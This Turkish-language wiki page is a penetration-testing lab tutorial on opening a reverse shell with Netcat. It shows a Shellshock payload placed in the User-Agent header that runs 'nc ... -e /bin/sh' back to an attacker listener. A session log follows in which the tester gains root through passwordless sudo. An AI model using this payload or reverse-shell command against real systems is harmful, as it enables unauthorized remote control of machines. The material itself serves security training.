Netcat Kullanarak Tersine Kanal Açma Yöntemleri

BGA Security Wiki sitesinden
Şuraya atla: kullan, ara

Amaç:

Netcat aracı kullanılarak arka kapı açılması.

Araç:

  • Netcat

Lab Senaryosu:

Sızma testi esnasında karşılaşılan en büyük problemlerden birisi de zafiyet barındıran makineye olan erişim sıkıntısıdır. İlgili makine üzerinde yapılan port kısıtlamaları nedeniyle makineye erişmenin zor olduğu durumlarda kullanılabilecek bazı alternatif yöntemler vardır. Örnek olarak bir uygulamanın shellshock zafiyeti barındırdığını fakat 80 portu haricindeki diğer portların kapalı olduğunu varsayalım. Böyle bir durumda makineye komut satırından direk erişim sağlamak için ne yapılmalıdır?

Böyle bir durumda en pratik ve avantajlı yöntem Netcat ile tersine kanal açma yöntemidir. Sizin makineye erişemediğiniz durumlarda makinenin size erişmesini sağlayacaktır. Öncelikle zafiyet barındıran makinenin bağlanması için saldırgan tarafında Netcat ile bir port açılır ve dinlemeye alınır.

root@bgakali:/home/pentest# nc -lvp 33333
listening on [any] 33333

Zafiyet barından uygulama tarafında yapılması gereken şey ise, User-Agent’a yazılacak payload ile saldırgan makinesine Netcat bağlantısı kurmaktır. Bunun için yazılacak olan payload aşağıdaki gibi olacaktır.

() { :; }; /bin/bash -c 'ping -c 3 172.16.16.1;nc 172.16.16.10 33333 -e /bin/sh'

Sonrasında saldırgan tarafından dinlemeye alınan port üzerinde bağlantının gerçekleştiği görülecektir. Artık saldırgan yazacağı komutları User-Agent bilgileri üzerinden değil kendi komut satırından gönderecektir.

Saldırgan tarafından çalıştırılan örnek komutlar aşağıdaki tabloda verilmiştir. Komut çıktılarına bakılacak olursa sistem üzerinde parolasız root kullanıcısının olduğu ve sonrasında ise saldırganın root haklarına sahip olduğu açıkça görülmektedir.

root@bgakali:/home/pentest# nc -lvp 33333
listening on [any] 33333
connect to [172.16.16.10] from 85.105.101.253.static.ttnet.com.tr [85.105.101.253] 37918
id
uid=1000(pentesterlab) gid=50(staff) groups=50(staff),100(pentesterlab)
sudo -l
User pentesterlab may run the following commands on this host:
(root) NOPASSWD: ALL
sudo -s
id
uid=0(root) gid=0(root) groups=0(root)